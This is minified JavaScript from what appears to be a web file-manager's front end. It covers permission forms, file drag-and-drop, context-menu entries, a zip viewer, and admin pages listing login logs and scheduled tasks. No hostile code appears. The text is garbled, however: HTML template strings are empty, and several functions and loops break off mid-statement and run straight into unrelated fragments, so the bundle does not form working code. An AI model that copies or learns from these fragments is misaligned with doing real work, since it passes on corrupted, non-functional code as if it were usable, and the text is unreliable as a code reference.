i=[],n=G.user.userID,a=_.get(e,"auth.authInfo.id","1"),s=this.form.getValue();i.push({"targetType":l.SOURCE_TYPE.user,"targetID":n,"authID":a}),"set"==s.allAuthType&&i.push({"targetType":l.SOURCE_TYPE.user,"targetID":0,"authID":s.allAuth}),s.auth=jsonDecode(s.auth),s.auth?s.auth.user?(_.each(s.auth.user,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}),_.each(s.auth.group,function(e,t){i.push({"targetType":l.SOURCE_TYPE.group,"targetID":t,"authID":e})})):_.each(s.auth,function(e,t){i.push({"targetType":l.SOURCE_TYPE.user,"targetID":t,"authID":e})}):"set"!=s.allAuthType&&(i={});var r={"path":e.path,"auth":i};this.pathModel.setAuth(r,t)},"authClear":function(t){var i=this,e={"path":t.path,"action":"clearChildren"};this.pathModel.setAuth(e,function(e){if(!e.code)return Tips.tips(e,"warning");Events.trigger("explorer.panel.auth.change",t.path,i),Tips.tips(e)})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=s(i(455)),a=s(i(456));function s(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(){this.$el=this.$root.find(".frame-main-explorer,.frame-main-desktop"),this.$main=this.$(".file-continer"),this.initChildren(),this.bindDrag()},"bindDrag":function(){this.$main.drag({"delegate":".file","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"initChildren":function(){this.fileLight=this.parent.fileLight,this.drop=new n["default"]({"parent":this}),this.autoEvent=new a["default"]({"parent":this})},"getSelect":function(e){var t=this.parent.fileLight,i=this.root.pathAction.auth,n=$();t.$listSelect.each(function(){var e=$(this);i.canCopyCute(e)&&(n=n.add(e))}),this.$select=n},"dragStart":function(e){var t=this;return $.contextMenu.hidden(),!e.shiftKey&&(this.getSelect(e),0!=this.$select.length&&($(document).one("keyup",function(e){27==e.which&&t.clearDrag(e)}),this.clearDrag(e),this.dragTipsMake(e),this.fileDragMake(e),this.isDraging=!0,void this.trigger("dragStart",e)))},"dragMove":function(e){if(this.isDraging){var t=e.clientX+this.offsetMouseX,i=e.clientY+this.offsetMouseY;this.$dragTips.css({"left":t,"top":i}),this.fileDragUpdate(t,i+this.offsetBoxTop),this.trigger("dragMove",e)}},"dragEnd":function(e){if(this.trigger("dragEnd",e),this.isDraging){var t=this;this.fileDragRemove(),this.$dragTips.addClass("animated-500 flipOutXLine"),this.$dragTips.fadeOut(this.animateTime,function(){t.$dragTips.remove()})}else this.clearDrag(e)},"clearDrag":function(e){this.isDraging=!1,clearTimeout(this.timerDelayRemove),this.$drag.remove(),this.$dragTips.remove(),this.$select.removeClass("item-file-draging"),this.trigger("clearDrag")},"isDraging":!1,"animateTime":150,"offsetMouseX":15,"offsetMouseY":-5,"offsetTime":5,"offsetBoxTop":35,"$drag":$(),"$dragList":$(),"$select":$(),"$dragTips":$(),"dragTipsMake":function(){var e=this.$select.length,t='\n\t\t\t
    \n\t\t\t\t
    '+e+"
    \n\t\t\t\t"+e+" "+LNG["common.file"]+"\n\t\t\t
    ";this.$dragTips=$(t).appendTo(this.$el)},"fileDragMake":function(e){this.fileDragRender(e);var n=this.$dragList;this.$select.addClass("item-file-draging"),n.each(function(e){var t=$(n.prevObject[e]),i=t.offset();$(this).css({"left":i.left,"top":i.top,"width":t.width()}),$(this).data({"offset":i,"cloneFrom":t})})},"fileDragRender":function(e){var t="file-list-"+this.userModel.getOption("listType"),i="\n\t\t\t
    \n\t\t\t\t
    \n\t\t\t
    ";this.$drag=$(i).appendTo(this.$el);var n=this.$select.clone();(50<=this.$select.length||$.browser.msie)&&(n=$(e.target).parents(".file").clone());n.appendTo(this.$drag.find(".file-draging")),this.$dragList=n},"fileDragUpdate":function(n,a){var l=this;this.destX=n,this.destY=a,this.$dragList.each(function(e){var o=$(this),t={"left":n,"top":a};if("finished"==o.data("animate"))return o.css(t);if(!o.data("animateStart")){o.data("animateStart","1");var i=l.animateTime+e*l.offsetTime;o.animate({"opacity":1},{"duration":i,"easing":"swing","progress":function(e,t,i,n,a){var s=o.data("offset"),r={"left":(l.destX-s.left)*t+s.left,"top":(l.destY-s.top)*t+s.top};o.css(r)},"complete":function(){o.data("animate","finished")}})}})},"destX":0,"destY":0,"fileDragRemove":function(){var s=this,r=1.5*s.animateTime;this.$dragList.each(function(e){var t=$(this),i=r+e*s.offsetTime,n=t.data("offset"),a=t.data("cloneFrom");a&&a.exists()?t.stop().animate(n,i,function(){a.removeClass("item-file-draging"),t.remove()}):t.stop().animate({"opacity":0},i,function(){t.remove()})}),this.timerDelayRemove=this._delay(function(){s.$drag.remove(),s.$select.removeClass("item-file-draging"),s.$dragList=$()},10+r+this.$dragList.length*s.offsetTime)}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var e='';return{"new-folder":{"name":LNG["explorer.newFolder"]+"Alt+M","icon":"ri-folder-fill-3","accesskey":"n"},"new-file":{"name":LNG["explorer.newFile"],"accesskey":"j"},"open":{"name":LNG["common.open"]+"Enter","icon":"ri-external-link-line","accesskey":"o"},"open-father":{"name":LNG["explorer.openFather"],"icon":"ri-folder-fill-3","accesskey":"f"},"refresh":{"name":LNG["common.refresh"]+"F5","icon":"ri-refresh-line","accesskey":"e"},"path-info":{"name":LNG["explorer.info"]+"Alt+I","icon":"ri-information-line","accesskey":"i"},"path-auth":{"name":LNG["admin.setting.auth"]+"Alt+Shift+I","icon":"ri-lock-line-2","accesskey":"q"},"copy":{"name":LNG["explorer.copy"]+"Ctrl+C","icon":"ri-file-copy-line-2","accesskey":"c"},"cute":{"name":LNG["explorer.cute"]+"Ctrl+X","icon":"ri-scissors-fill","accesskey":"k"},"past":{"name":LNG["explorer.past"]+"Ctrl+V","icon":"ri-survey-line","className":"explorer-past-item past","accesskey":"p"},"copy-to":{"name":LNG["explorer.copyTo"],"icon":"ri-file-copy-line-2"},"cute-to":{"name":LNG["explorer.cuteTo"],"icon":"ri-scissors-fill"},"clipboard":{"name":LNG["explorer.clipboard"],"icon":"ri-inbox-line","accesskey":"v"},"download":{"name":LNG["common.download"],"icon":"ri-download-fill-2","accesskey":"x"},"rename":{"name":LNG["common.rename"]+"F2","icon":"ri-pencil-fill","accesskey":"r"},"remove":{"name":LNG["common.delete"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"clone":{"name":LNG["explorer.clone"],"icon":"ri-file-copy-line-2"},"search":{"name":LNG["explorer.searchInPath"],"icon":"ri-search-line","accesskey":"s"},"upload":{"name":LNG["common.upload"],"icon":"ri-upload-fill-2","accesskey":"u"},"upload-file":{"name":LNG["explorer.uploadFile"]+"Ctrl+U","icon":"ri-upload-fill-2"},"upload-folder":{"name":LNG["explorer.uploadFolder"],"icon":"ri-upload-fill-2","className":"upload upload-folder"},"server-download":{"name":LNG["explorer.downOffline"],"className":"download"},"recycle-clear":{"name":LNG["explorer.recycleClear"],"icon":"ri-delete-bin-line-6","accesskey":"c"},"recycle-restore":{"name":LNG["explorer.recycleRestoreItem"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"recycle-delete":{"name":LNG["common.deleteForce"]+"Shift+Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"recycle-restore-all":{"name":LNG["explorer.recycleRestoreAll"],"icon":"ri-arrow-go-back-line","accesskey":"r"},"share-to-file":{"name":LNG["explorer.share.innerTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.shareTo"],"icon":"ri-share-fill","accesskey":"e"},"share-to-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.shareTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-link-file":{"name":LNG["explorer.share.linkTo"],"icon":" x-share-link","accesskey":"l"},"share-link-edit":{"name":LNG["common.edit"]+e+LNG["explorer.share.linkTo"],"icon":"x-share-link","accesskey":"e"},"share-link-remove":{"name":LNG["common.cancel"]+e+LNG["explorer.share.linkTo"]+"Del","icon":"ri-delete-bin-line-6","accesskey":"d"},"share-open-window":{"name":LNG["explorer.share.openPage"],"icon":"ri-external-link-line","accesskey":"b"},"fav-add":{"name":LNG["explorer.addToFav"],"icon":"ri-star-fill","accesskey":"f"},"fav-remove":{"name":LNG["explorer.favRemove"],"icon":"ri-star-line","accesskey":"d"},"fav-rename":{"name":LNG["common.rename"],"icon":"ri-pencil-fill","accesskey":"r"},"fav-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"fav-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"tag-edit":{"name":LNG["explorer.tag.edit"],"icon":"ri-bookmark-line-3","accesskey":"e"},"tag-remove":{"name":LNG["common.delete"],"icon":"ri-delete-bin-line-6","accesskey":"d"},"tag-move-top":{"name":LNG["common.moveTop"],"icon":"ri-arrow-up-line","accesskey":"u"},"tag-move-bottom":{"name":LNG["common.moveBottom"],"icon":"ri-arrow-down-line","accesskey":"d"},"app-install":{"name":LNG["explorer.app.app"],"icon":"ri-apps-fill","accesskey":"a"},"setting-wall":{"name":LNG["admin.setting.wall"],"icon":"ri-image-line","accesskey":"b"},"setting-theme":{"name":LNG["admin.setting.theme"],"icon":"ri-dashboard-line-2","accesskey":"i"},"setting-user":{"name":LNG["admin.userManage"],"icon":"ri-settings-fill-5","accesskey":"t"},"file-embed":{"name":LNG["explorer.embed.title"],"icon":"ri-code-box-line","accesskey":"a"},"set-background":{"name":LNG["explorer.setBackground"],"icon":"ri-image-line","accesskey":"x"},"explorer":{"name":LNG["explorer.folderManage"],"icon":"ri-folder-fill-3","accesskey":"v"},"explorer-editor":{"name":LNG["explorer.openWithAce"],"icon":"ri-edit-box-line","accesskey":"e"},"create-link-home":{"name":LNG["explorer.createLinkHome"],"icon":"x-item-icon x-app-link","accesskey":"l"},"create-link":{"name":LNG["explorer.createLink"],"icon":"x-item-icon x-app-link"},"select-all":{"name":LNG["common.selectAllItem"]+"Ctrl+A"},"select-reverse":{"name":LNG["common.selectInvert"]+"Shift+Ctrl+A"},"select-clear":{"name":LNG["common.selectNull"]+"Shift+Ctrl+A"},"share-to-me-all":{"name":LNG["common.all"],"icon":"ri-checkbox-multiple-fill"},"share-to-me-show":{"name":LNG["common.default"],"icon":"ri-eye-line"},"share-to-me-hide":{"name":LNG["common.isHide"],"icon":"ri-eye-off-line"},"share-hide":{"name":LNG["common.hide"],"icon":"ri-eye-off-line"},"share-show":{"name":LNG["common.cancelHide"],"icon":"ri-eye-fill"},"refresh-tree":{"name":LNG["explorer.refreshTree"],"icon":"ri-refresh-line","accesskey":"e"},"open-with":{"name":LNG["explorer.openWith"],"icon":" ri-external-link-line","accesskey":"a","items":{"open-with-first":{"name":"","className":"hidden"}}},"new-file-others":{"name":LNG["explorer.newFile"],"icon":" ri-file-line","accesskey":"w","items":{"new-file":{"name":"txt "+LNG["common.file"],"icon":"x-item-icon x-txt small"},"new-file-md":{"name":"md "+LNG["common.file"],"icon":"x-item-icon x-md"},"new-file-html":{"name":"html "+LNG["common.file"],"icon":"x-item-icon x-html"},"step1011":"--------","new-file-docx":{"name":"Word docx "+LNG["common.file"],"icon":"x-item-icon x-docx"},"new-file-xlsx":{"name":"Excel xlsx "+LNG["common.file"],"icon":"x-item-icon x-xlsx"},"new-file-pptx":{"name":"PowerPoint pptx "+LNG["common.file"],"icon":"x-item-icon x-pptx"},"step1012":"--------","app-install":{"name":LNG["explorer.app.app"],"icon":"x-item-icon x-app-store","accesskey":"a"}}},"set-list-type":{"name":LNG["explorer.file.listType"],"icon":" ri-inbox-line","items":{"set-list-icon":{"name":LNG["explorer.file.listIcon"],"className":"set-list-type-item"},"set-list-list":{"name":LNG["explorer.file.listList"],"className":"set-list-type-item"},"set-list-split":{"name":LNG["explorer.file.listListSplit"],"className":"set-list-type-item"}}},"set-sort-by":{"name":LNG["explorer.file.orderType"],"accesskey":"y","icon":"ri-sort-desc","items":{"set-sort-name":{"name":LNG["explorer.file.name"],"className":"set-sort-field-item"},"set-sort-ext":{"name":LNG["explorer.file.type"],"className":"set-sort-field-item"},"set-sort-size":{"name":LNG["explorer.file.size"],"className":"set-sort-field-item"},"set-sort-modifyTime":{"name":LNG["explorer.file.modifyTime"],"className":"set-sort-field-item"},"step1021":"--------","set-order-up":{"name":LNG["explorer.file.sortUp"],"className":"set-sort-order-item"},"set-order-down":{"name":LNG["explorer.file.sortDown"],"className":"set-sort-order-item"}}},"set-icon-size":{"name":LNG["explorer.toolbar.fileSizeTitle"],"icon":" ri-image-line","items":{"icon-size-smallx":{"name":LNG["explorer.toolbar.fileSizeSuper"],"className":"set-icon-size-item"},"icon-size-small":{"name":LNG["explorer.toolbar.fileSizeSmall"],"className":"set-icon-size-item"},"icon-size-default":{"name":LNG["explorer.toolbar.fileSizeDefault"],"className":"set-icon-size-item"},"icon-size-big":{"name":LNG["explorer.toolbar.fileSizeBig"],"className":"set-icon-size-item"},"icon-size-bigx":{"name":LNG["explorer.toolbar.fileSizeBigSuper"],"className":"set-icon-size-item"}}}}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=function n(e){return e&&e.__esModule?e:{"default":e}}(i(473));t["default"]=ClassBase.extend({"extSupport":"zip,tar,gz,tgz,ipa,apk,rar,7z,iso,bz2,zx,z,arj,epub","init":function(e){this.pathAction=this.root.pathAction,this.initZipView(),this.listenTo(this.root.rightMenu,{"rightMenu.beforeShow":this.menuShow}),this._delay(this.resetDownload,100)},"initZipView":function(){var n=this;this.supportZip()&&kodApp.add({"name":"zipView","title":LNG["admin.plugin.defaultZipView"],"sort":-1,"ext":this.extSupport,"icon":STATIC_PATH+"images/file_icon/icon_file/zip.png","callback":function(e,t,i){(n.pathModel?n:kodApp.pathAction.root.plugins.zipView).initView(e,i)}})},"supportZip":function(){return"share"!=this.root.pageType||"1"==_.get(G,"system.options.shareLinkZip")},"menuShow":function(n){if(_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-path-folder-tree",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],n.menuType)){var e=this.menuAppend(n),t=this.extSupport.split(","),i=e&&_.includes(t,e.ext)?"menuItemShow":"menuItemHide";$.contextMenu[i](n,"unzip");var a=this.pathAction.auth.canWrite(n.$target);this._each(["zip","unzip"],function(e,t){var i=this.pathAction.auth.authCheck(e,n.$target);a&&i||$.contextMenu.menuItemDisable(n,e)})}},"menuAppend":function(e){var t=this.actionGetInfo(e.$target,"makeParamItem");if(e.extendZipView)return t;var i=_.bind(this.doAction,this),n={"unzip":{"name":LNG["explorer.unzip"],"icon":"ri-folder-open-line","items":{"unzip-this":{"name":LNG["explorer.unzipThis"],"icon":"ri-external-link-line","callback":i},"unzip-folder":{"name":LNG["explorer.unzipFolder"],"icon":"ri-external-link-line","callback":i},"unzip-to":{"name":LNG["explorer.unzipTo"],"icon":"ri-external-link-line","callback":i}}}},a={"zip":{"name":LNG["explorer.zip"],"icon":"ri-external-link-line","items":{"zip-zip":{"name":"ZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"sep1010":"--------","zip-tar":{"name":"TAR "+LNG["common.file"],"icon":"ri-external-link-line","callback":i},"zip-tgz":{"name":"GZIP "+LNG["common.file"],"icon":"ri-external-link-line","callback":i}}}};return $.contextMenu.menuAdd(n,e,"",".more-action"),t&&"folder"!=t.type?$.contextMenu.menuAdd(a,e,".more-action .context-menu-separator"):_.includes([".menu-path-folder",".menu-path-file",".menu-path-more",".menu-simple-folder",".menu-simple-file",".menu-simple-more",".menu-path-mini-folder",".menu-path-mini-file",".menu-path-guest-folder",".menu-path-guest-file",".menu-path-guest-more",".menu-toolbar-io-more",".menu-toolbar-source-more",".menu-toolbar-pathDefault-more",".menu-toolbar-shareItem-more"],e.menuType)&&$.contextMenu.menuAdd(a,e,"",".path-info"),e.extendZipView=!0,t},"initView":function(n,a){var s=this;this.pathModel.unzipList({"path":n},function(e){if(e&&e.code&&!_.isString(e.data)){var t="zipViewDialog"+roundString(4),i=new r["default"]({"parent":s});i.initDialog(n,a,e.data),s[t]=i}})},"actionGetInfo":function(e,t){var i=this.pathAction;return $.isDom(e)&&e.hasClass("tree-node")&&(i=this.root.tree.treeAction),i[t]()},"doAction":function(e,t){switch(e){case"unzip-this":this.unzipFile("this");break;case"unzip-folder":this.unzipFile("folder");break;case"unzip-to":this.unzipFile("to");break;case"zip-zip":this.zip("zip",t);break;case"zip-tar":this.zip("tar",t);break;case"zip-tgz":this.zip("tgz",t)}},"unzipFile":function(e){var t=this.pathAction.makeParamItem();this.unzip(e,t.path,t.name)},"zip":function(e,t){var i=this.actionGetInfo(t.$target,"makeParamArray");if(i){if(!this.pathAction.auth.canWrite())return Tips.notify.tips(LNG["explorer.noPermissionWrite"],"warning",3e3),!1;if(!this.root.spaceSize.spaceCheck())return Tips.notify.tips(LNG["explorer.spaceIsFull"],"warning",3e3),!1;this.pathAction.flagCurrentPath();var n=this;i=$.extend({},{"type":e},i),this.pathModel.zip(i,function(e){n.pathAction.refreshCallback(e)})}},"unzip":function(e,t,i){var n=3
    '},"done":function(e){return e.code||"10011"!=e.info?(this.dialog.close(),!0):(this.dialog.$main.find(".aui-buttons button").prop("disabled",!1),this.dialog.$main.find(".img-code-box .code-image").trigger("click"),!1)}}},function(e,t,s){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=n(s(505)),r=n(s(169));function n(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".setting-page","init":function(){this.$menu=this.$(".menu-content"),this.menuItem(),this.initView(),this.bindLocation(),new i["default"]({"parent":this})},"menuItem":function(){this.menuItems=[{"title":LNG["admin.setting.base"],"icon":"ri-settings-fill-5","link":"setting/user/index","type":"index","file":"base/index"},{"title":LNG["admin.setting.account"],"icon":"ri-account-circle-fill","link":"setting/user/account","type":"account","file":"account/index"},{"title":LNG["admin.setting.wall"],"icon":"ri-image-line","link":"setting/user/wall","type":"wall","file":"wall/index"},{"title":LNG["admin.setting.safeMgt"],"icon":"ri-shield-check-fill","link":"setting/user/safe","type":"safe","file":"safe/index"},{"title":LNG["admin.setting.stats"],"icon":"ri-bar-chart-fill","link":"setting/user/stats","type":"stats","file":"stats/index"}]},"addMenuMake":function(){var e=[];Events.trigger("user.leftMenu.before",e,this),_.each(e,function(e){e.sort=e.sort||0}),e=_.reverse(_.sortBy(e,"sort")),this.menuItems=_.concat(this.menuItems,e)},"initView":function(){this.addMenuMake();var e={"info":this.settingModel.info().info,"menuItems":this.menuItems},t=s(506),i=this.renderHtml(t,e,!1);this.$menu.html(i),this.$menu.perfectScroll(),Events.trigger("user.leftMenu.after")},"bindLocation":function(){var a=this;this.parseRouter(this.menuItems,[]),_.each(this.menuRouter,function(n,e){Router.map({"key":e,"name":n.title,"context":a,"callback":function(){var i=Tips.loadingMask();if(n.file){var e=s(713)("./"+n.file)["default"];a.loadPage(e,n),i.close()}else n.fileSrc&&requireAsync(n.fileSrc,function(e){var t=r["default"].extend(e.prototype).extend({"el":".setting-main-content"});a.loadPage(t,n),i.close()})}})}),"setting"==Router.hash&&Router.go("setting/user/index")},"loadPage":function(e,t){this.changeRouter(t.link),this.contentView&&this.contentView.objectRemove(),this.contentView=new e({"parent":this,"menu":t})},"menuRouter":{},"parseRouter":function(e,t){for(var i=0;i
    ')},"saveConfig":function(){},"initFormView":function(e){var t=this.$(".panel-body");this.form=new n["default"]({"parent":this,"formData":e}),this.form.renderTarget(t),this.listenTo(this.form,{"onSave":function(e){return this.saveConfig(e)}});return _.each(["dialog-form-style-default","dialog-form-style-tab","dialog-form-style-simple","dialog-form-style-mac"],function(e){t.hasClass(e)&&t.removeClass(e)}),t.addClass("dialog-form-style-simple"),this.trigger("initView.after"),this.form}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=o(i(108)),a=o(i(171)),s=o(i(26)),r=o(i(180));function o(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":"#app","init":function(){this.menuBar=new n["default"]({"parent":this}),this.renderHtml(i(522)),this.initGlobal(),this.leftMenu=new a["default"]({"parent":this}),this.task=new r["default"]({"parent":this}),this.resetMenubar(),this.bindEventResize(),NProgress.done()},"resetMenubar":function(){var e=this.$el.parent().find(".menuBar");e.addClass("admin-menu-bar"),this.$el.css("left",0),this.on("onRemove",function(){e.removeClass("admin-menu-bar"),this.$el.css("left",e.width())})},"initGlobal":function(){this.global.autoToChildren={"root":this,"$root":this.$el,"adminModel":new s["default"]},this._each(this.global.autoToChildren,function(e,t){this[t]=e})},"bindEventResize":function(){var t="none",i=$("html"),n=function n(){var e=$(window).width()<1e3;t!==e&&((t=e)?i.addClass("app-wap-small"):i.removeClass("app-wap-small"))};n(),n=_.debounce(n,50),$(window).bind("resize",n),this.$el.parent("#app").addClass("app-admin"),this.on("onRemove",function(){$(window).unbind("resize",n),i.removeClass("app-wap-small"),this.$el.parent("#app").removeClass("app-admin")})},"onRemove":function(){this._each($.dialog.list,function(e){e.close()}),this.adminModel.onRemove()}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=s(a(519)),n=s(a(98)),l=s(a(169)),c=s(a(520));function s(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"el":".admin-page","animateTime":200,"menuAutoClose":0,"init":function(){this.$menu=this.$(".menu-content"),this.menuItems=(0,i["default"])(),this.userRoleAuth=new n["default"],this.initView(),this.bindLocation(),this.addMenuMake(),this.adminMainPage()},"addMenuMake":function(){var e=[];Events.trigger("admin.leftMenu.before",e,this),_.each(e,function(e){e.sort=e.sort||0}),this._each(e,function(e){this.addMenu(e)}),Events.trigger("admin.leftMenu.after",this)},"addMenu":function(i){if(this.userRoleAuth.adminAuth("admin/plugin")){var e=!!i.before,t=i.before||i.after,n=this.$('.menu-items [link-href="'+t+'"]');if(!n.exists())return console.error("notFound!",[i,n]);var a=this.menuRouter[t];this.menuRouter[i.link]=_.pick(i,["title","icon","link"]),this.menuRouter[i.link]["address"]=a.address;var s=n.clone(),r=s.find(".item-icon");s.attr("link-href",i.link).removeClass("submenu"),r.removeClass(r.attr("data-icon")).addClass(i.icon),s.find(".menu-name").html(i.title),s.children(".menu-items").remove(),e?n.before(s):n.after(s);var o=this;Router.map({"key":i.link,"name":i.title,"context":o,"callback":function(){var t=Tips.loadingMask();i.pluginName?(o.loadPage(c["default"],i),setTimeout(function(){t.close(300)},200)):i.fileSrc&&requireAsync(i.fileSrc,function(e){o.loadPage(l["default"].extend(e.prototype),i),t.close()})}})}},"loadPage":function(e,t){this.changeRouter(t.link),this.contentView&&this.contentView.$el.removeClass("animated moveInUpSmallX"),this.contentView&&this.contentView.objectRemove();var i=new e({"parent":this,"menu":t}),n=(this.contentView=i).$el.exists()?i.$el:this.$(".admin-main-content"),a=function a(){n.hide().delay(100).fadeIn(250),n.addClass("animated moveInUpSmallX")};i.initAfterIgnore||(i.initAfterTrigger?i.bind("initView.after",a):a())},"initView":function(){var i=this,e=this.makeMenu(this.menuItems,0);this.$menu.html(e),this.$menu.delegate(".menu-item-content","click",function(e){var t=$.targetParent(e,".menu-item");i.selectItem(t)}),this.$menu.perfectScroll(),this.userRoleAuth.adminAuthCheck(this.$(".admin-menu-left"))},"makeMenu":function(e,t){if(!e)return"";var i=a(521),n={"menuItems":e,"level":t+1,"marginWidth":"25","makeMenu":_.bind(this.makeMenu,this)};return this.renderHtml(i,n,!1)},"bindLocation":function(){var n=this;this.parseRouter(this.menuItems,[]),_.each(this.menuRouter,function(t,i){Router.map({"key":i,"name":t.title,"context":n,"callback":function(){if(!n.userRoleAuth.adminAuth(i))return Tips.tips(LNG["explorer.noPermissionAction"],"warning");var e=a(714)("./"+t.file);n.loadPage(e["default"],t)}})})},"adminMainPage":function(){var e=this.$(".menu-items [link-href]").first().attr("link-href");if(!e)return new(a(495)["default"])({"title":LNG["explorer.mistake"],"desc":LNG["user.loginNoPermission"]});"admin"==Router.hash&&Router.go(e)},"menuRouter":{},"parseRouter":function(e,t){for(var i=0;i\n"+i[t].ip)+'" data="'+e+'" data-action="viewIP">'+htmlEncode(i[t]["address"])+""}}],"toolbar":[{"id":"export","side":"right","formatter":function(e){return"ip"!=e.attr("field")?null:e.find("[title]").attr("title")}}],"order":[1,"down"],"sort":["createTime"]}},"logLogin":function(e){var i=this;return{"container":".log-login-list","data":e,"request":function(e,t){e=$.extend({},e,{"type":"user.index.loginSubmit"}),i.parent.adminModel.requestSend("toolsLog",e,function(e){i.resetListAll("logLogin",e.data),t({"list":e.data,"pageInfo":e.info})})},"items":[{"field":"userID","title":LNG["common.user"],"formatter":function(e,t,i){return a["default"].userInfo(i[t].userInfo)}},{"field":"createTime","title":LNG["admin.task.timeLastLogin"],"formatter":function(e){return dateFormat(e)}},{"field":"desc","title":LNG["common.system"],"formatter":function(e){return(0,s["default"])(e).os}},{"field":"desc","title":LNG["explorer.toolbar.client"],"formatter":function(e){return(0,s["default"])(e).browser}},{"field":"id","title":LNG["admin.index.address"],"formatter":function(e,t,i){return'\n"+i[t].ip)+'" data="'+e+'" data-action="viewIP">'+htmlEncode(i[t]["address"])+""}}],"toolbar":[{"id":"export","side":"right","formatter":function(e){return"ip"!=e.attr("field")?null:e.find("[title]").attr("title")}}],"order":[1,"down"],"sort":["createTime"]}},"task":function(e){var s=this;return{"container":".task-list","data":e,"request":function(e,t){s.parent.adminModel.autoTaskList(e,function(e){Events.trigger("admin.autoTask.listBefore",e,this),s.resetListAll("task",e.data),t({"list":e.data,"pageInfo":e.info})})},"items":[{"field":"name","title":LNG["admin.task.name"],"formatter":function(e){var t=""+e+"";return''+t}},{"field":"time","title":LNG["admin.task.cycle"],"formatter":function(e){var t=jsonDecode(e),i=s.parent.timeOption(),n=t.type;return{"month":[LNG["common.everyMonth"],i.month[t[n]],t.day].join(" "),"week":[LNG["common.everyWeek"],i.week[t[n]],t.day].join(" "),"day":[LNG["common.everyDay"],t[n]].join(" "),"minute":[LNG["common.every"],t[n],LNG["common.minute"]].join(" ")}[n]}},{"field":"event","title":LNG["admin.task.content"]},{"field":"desc","title":LNG["admin.task.desc"]},{"field":"lastRun","title":LNG["admin.task.timeLastRun"],"formatter":function(e){return e?dateFormat(e):LNG["admin.backup.notYet"]}},{"field":"enable","title":LNG["common.status"],"formatter":function(e,t,i){return'"}},{"field":"id","title":LNG["common.action"],"attr":{"class":"setting"},"formatter":function(e,t,i){var n=[{"action":"run","name":LNG["common.run"]},{"action":"log","name":LNG["common.log"]}],a=s.sortMenu(t,i.length);return n.push.apply(n,(0,r["default"])(a)),"0"==i[t].system&&n.push({"action":"remove","name":LNG["common.delete"]}),s.parent.dropMenu.make(e,n)}}]}},"sortMenu":function(e,t){if(t<=1)return[];e=parseInt(e)+1;var i=[{"action":"up","name":LNG["common.moveUp"]},{"action":"down","name":LNG["common.moveDown"]}];return 1===e?_.pullAt(i,1):e===t?_.pullAt(i,0):i},"resetListAll":function(e,t){var i={},n=!0,a=!1,s=undefined;try{for(var r,o=(0,d["default"])(t);!(n=(r=o.next()).done);n=!0){var l=r.value;i[l.id]=l}}catch(c){a=!0,s=c}finally{try{!n&&o["return"]&&o["return"]()}finally{if(a)throw s}}this.parent[e+"ListAll"]=i}})},function(e,t,a){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var n={"formStyle":{"className":"dialog-form-style-simple form-box-title-right","tabs":{"base":"basePage"},"tabsName":{"base":LNG["common.version.basicInfo"]}},"basePage":"
    "},e={"cache":LNG["admin.setting.sysCacheTab"],"db":LNG["admin.setting.sysDbTab"]};return _.each(e,function(e,t){var i=a(727)("./"+t)["default"]();n.formStyle.tabs[t]=_.keys(i).join(","),n.formStyle.tabsName[t]=e,n=$.extend({},n,i)}),n}},function(e,t,i){"use strict";var a=i(0);e.exports=function(e){e=e||{};var t="",i=a.$escape,n=e.LNG;return t+='
    ',t+=i(n["admin.setting.sysSrvState"]),t+='
    ',t+=i(n["admin.setting.srvStateCpu"]),t+='
    ',t+=i(n["admin.setting.srvStateMem"]),t+='
    ',t+=i(n["admin.setting.srvStateSrv"]),t+='
    ',t+=i(n["admin.setting.srvStateDef"]),t+='
    ',t+=i(n["admin.setting.sysSrvInfo"]),t+='
    ',t+=i(n["admin.setting.srvInfoName"]),t+=':
    ',t+=i(n["admin.setting.srvInfoIp"]),t+=':
    ',t+=i(n["admin.setting.srvInfoTime"]),t+=':
    ',t+=i(n["admin.setting.srvInfoUpTime"]),t+=':
    ',t+=i(n["admin.setting.srvInfoSys"]),t+=':
    ',t+=i(n["admin.setting.srvInfoWeb"]),t+=':
    ',t+=i(n["admin.setting.srvInfoPhpV"]),t+=':
    ',t+=i(n["admin.setting.srvInfoPath"]),t+=':
    ',t+=i(n["admin.setting.sysPhpInfo"]),t+='
    ',t+=i(n["admin.setting.srvPhpDtl"]),t+=': ',t+=i(n["admin.setting.srvPhpDtl"]),t+='
    ',t+=i(n["admin.setting.srvInfoPhpV"]),t+=':
    ',t+=i(n["admin.setting.memLimit"]),t+=':
    ',t+=i(n["admin.setting.postLimit"]),t+=':
    ',t+=i(n["admin.setting.uploadLimit"]),t+=':
    ',t+=i(n["admin.setting.execTime"]),t+=':
    ',t+=i(n["admin.setting.inputTime"]),t+=':
    ',t+=i(n["admin.setting.disFunction"]),t+=':
